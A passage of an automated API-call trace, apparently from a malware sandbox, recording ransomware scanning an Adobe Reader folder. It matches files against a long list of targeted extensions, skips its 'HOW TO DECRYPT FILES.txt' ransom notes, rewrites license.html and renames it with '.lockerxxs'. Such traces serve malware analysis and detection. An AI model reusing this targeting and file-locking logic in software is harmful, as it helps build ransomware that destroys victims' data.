(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.129] lstrlenA (lpString="*.jpeg") returned 6 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.jpg") returned 0 [0070.129] lstrlenA (lpString="*.jpg") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.png") returned 0 [0070.129] lstrlenA (lpString="*.png") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.php") returned 0 [0070.129] lstrlenA (lpString="*.php") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.cs") returned 0 [0070.129] lstrlenA (lpString="*.cs") returned 4 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.cpp") returned 0 [0070.129] lstrlenA (lpString="*.cpp") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.rar") returned 0 [0070.129] lstrlenA (lpString="*.rar") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.zip") returned 0 [0070.129] lstrlenA (lpString="*.zip") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.html") returned 0 [0070.130] lstrlenA (lpString="*.html") returned 6 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.htm") returned 0 [0070.130] lstrlenA (lpString="*.htm") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.130] lstrlenA (lpString="*.xlsx") returned 6 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.xls") returned 0 [0070.130] lstrlenA (lpString="*.xls") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mp4") returned 0 [0070.130] lstrlenA (lpString="*.mp4") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.ppt") returned 0 [0070.130] lstrlenA (lpString="*.ppt") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.pptx") returned 0 [0070.130] lstrlenA (lpString="*.pptx") returned 6 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.doc") returned 0 [0070.130] lstrlenA (lpString="*.doc") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.dot") returned 0 [0070.130] lstrlenA (lpString="*.dot") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.docx") returned 0 [0070.130] lstrlenA (lpString="*.docx") returned 6 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.7z") returned 0 [0070.130] lstrlenA (lpString="*.7z") returned 4 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.tar") returned 0 [0070.130] lstrlenA (lpString="*.tar") returned 5 [0070.130] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.bz2") returned 0 [0070.130] lstrlenA (lpString="*.bz2") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.gz") returned 0 [0070.131] lstrlenA (lpString="*.gz") returned 4 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mkv") returned 0 [0070.131] lstrlenA (lpString="*.mkv") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.eml") returned 0 [0070.131] lstrlenA (lpString="*.eml") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.msg") returned 0 [0070.131] lstrlenA (lpString="*.msg") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.edb") returned 0 [0070.131] lstrlenA (lpString="*.edb") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.accdb") returned 0 [0070.131] lstrlenA (lpString="*.accdb") returned 7 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.odb") returned 0 [0070.131] lstrlenA (lpString="*.odb") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.java") returned 0 [0070.131] lstrlenA (lpString="*.java") returned 6 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.asm") returned 0 [0070.131] lstrlenA (lpString="*.asm") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.pfx") returned 0 [0070.131] lstrlenA (lpString="*.pfx") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.pem") returned 0 [0070.131] lstrlenA (lpString="*.pem") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.p12") returned 0 [0070.131] lstrlenA (lpString="*.p12") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.gpg") returned 0 [0070.131] lstrlenA (lpString="*.gpg") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.vsd") returned 0 [0070.131] lstrlenA (lpString="*.vsd") returned 5 [0070.131] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.odg") returned 0 [0070.132] lstrlenA (lpString="*.odg") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.raw") returned 0 [0070.132] lstrlenA (lpString="*.raw") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.nef") returned 0 [0070.132] lstrlenA (lpString="*.nef") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.svg") returned 0 [0070.132] lstrlenA (lpString="*.svg") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.psd") returned 0 [0070.132] lstrlenA (lpString="*.psd") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.vmx") returned 0 [0070.132] lstrlenA (lpString="*.vmx") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.132] lstrlenA (lpString="*.vmdk") returned 6 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.vdi") returned 0 [0070.132] lstrlenA (lpString="*.vdi") returned 5 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.lay6") returned 0 [0070.132] lstrlenA (lpString="*.lay6") returned 6 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.132] lstrlenA (lpString="*.mpeg") returned 6 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.djvu") returned 0 [0070.132] lstrlenA (lpString="*.djvu") returned 6 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.tiff") returned 0 [0070.132] lstrlenA (lpString="*.tiff") returned 6 [0070.132] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.backup") returned 0 [0070.133] lstrlenA (lpString="*.backup") returned 8 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.pdf") returned 0 [0070.133] lstrlenA (lpString="*.pdf") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.cert") returned 0 [0070.133] lstrlenA (lpString="*.cert") returned 6 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.docm") returned 0 [0070.133] lstrlenA (lpString="*.docm") returned 6 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.133] lstrlenA (lpString="*.xlsm") returned 6 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.dwg") returned 0 [0070.133] lstrlenA (lpString="*.dwg") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.nd") returned 0 [0070.133] lstrlenA (lpString="*.nd") returned 4 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.tlg") returned 0 [0070.133] lstrlenA (lpString="*.tlg") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.lgb") returned 0 [0070.133] lstrlenA (lpString="*.lgb") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mov") returned 0 [0070.133] lstrlenA (lpString="*.mov") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.xdw") returned 0 [0070.133] lstrlenA (lpString="*.xdw") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.ods") returned 0 [0070.133] lstrlenA (lpString="*.ods") returned 5 [0070.133] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.wav") returned 0 [0070.134] lstrlenA (lpString="*.wav") returned 5 [0070.134] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mp3") returned 0 [0070.134] lstrlenA (lpString="*.mp3") returned 5 [0070.134] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.aiff") returned 0 [0070.134] lstrlenA (lpString="*.aiff") returned 6 [0070.134] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.flac") returned 0 [0070.134] lstrlenA (lpString="*.flac") returned 6 [0070.134] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.m4a") returned 0 [0070.134] lstrlenA (lpString="*.m4a") returned 5 [0070.134] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.csv") returned 0 [0070.134] lstrlenA (lpString="*.csv") returned 5 [0070.134] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.134] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.134] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.134] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.134] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.134] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini") returned="eula.ini" [0070.134] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" [0070.134] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="" [0070.134] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt" [0070.134] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\how to decrypt files.txt")) returned 0x20 [0070.135] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.ems") returned 0 [0070.135] lstrlenA (lpString="*.ems") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.db") returned 0 [0070.135] lstrlenA (lpString="*.db") returned 4 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.dbf") returned 0 [0070.135] lstrlenA (lpString="*.dbf") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.myox") returned 0 [0070.135] lstrlenA (lpString="*.myox") returned 6 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.myo") returned 0 [0070.135] lstrlenA (lpString="*.myo") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbw") returned 0 [0070.135] lstrlenA (lpString="*.qbw") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbb") returned 0 [0070.135] lstrlenA (lpString="*.qbb") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbm") returned 0 [0070.135] lstrlenA (lpString="*.qbm") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbo") returned 0 [0070.135] lstrlenA (lpString="*.qbo") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbx") returned 0 [0070.135] lstrlenA (lpString="*.qbx") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qba") returned 0 [0070.135] lstrlenA (lpString="*.qba") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qby") returned 0 [0070.135] lstrlenA (lpString="*.qby") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qbj") returned 0 [0070.135] lstrlenA (lpString="*.qbj") returned 5 [0070.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.ofx") returned 0 [0070.135] lstrlenA (lpString="*.ofx") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.qif") returned 0 [0070.136] lstrlenA (lpString="*.qif") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.mye") returned 0 [0070.136] lstrlenA (lpString="*.mye") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.mbox") returned 0 [0070.136] lstrlenA (lpString="*.mbox") returned 6 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.eml") returned 0 [0070.136] lstrlenA (lpString="*.eml") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.pst") returned 0 [0070.136] lstrlenA (lpString="*.pst") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.ost") returned 0 [0070.136] lstrlenA (lpString="*.ost") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.idx") returned 0 [0070.136] lstrlenA (lpString="*.idx") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.dbx") returned 0 [0070.136] lstrlenA (lpString="*.dbx") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.sql") returned 0 [0070.136] lstrlenA (lpString="*.sql") returned 5 [0070.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", pszSpec="*.mdb") returned 0 [0070.136] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" [0070.136] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" [0070.136] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html." [0070.136] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.lockerxxs" [0070.137] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.137] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd746 [0070.137] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81d81e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0070.137] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.137] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd720, lpOverlapped=0x0) returned 1 [0070.140] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html") returned="license.html" [0070.141] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.141] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd720, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd720, lpOverlapped=0x0) returned 1 [0070.141] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.141] CloseHandle (hObject=0x94) returned 1 [0070.143] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html.lockerxxs")) returned 1 [0070.144] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.144] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.144] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="RUM", cAlternateFileName="")) returned 1 [0070.144] lstrcmpA (lpString1=".", lpString2="RUM") returned -1 [0070.144] lstrcmpA (lpString1="..", lpString2="RUM") returned -1 [0070.144] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.144] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" [0070.144] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 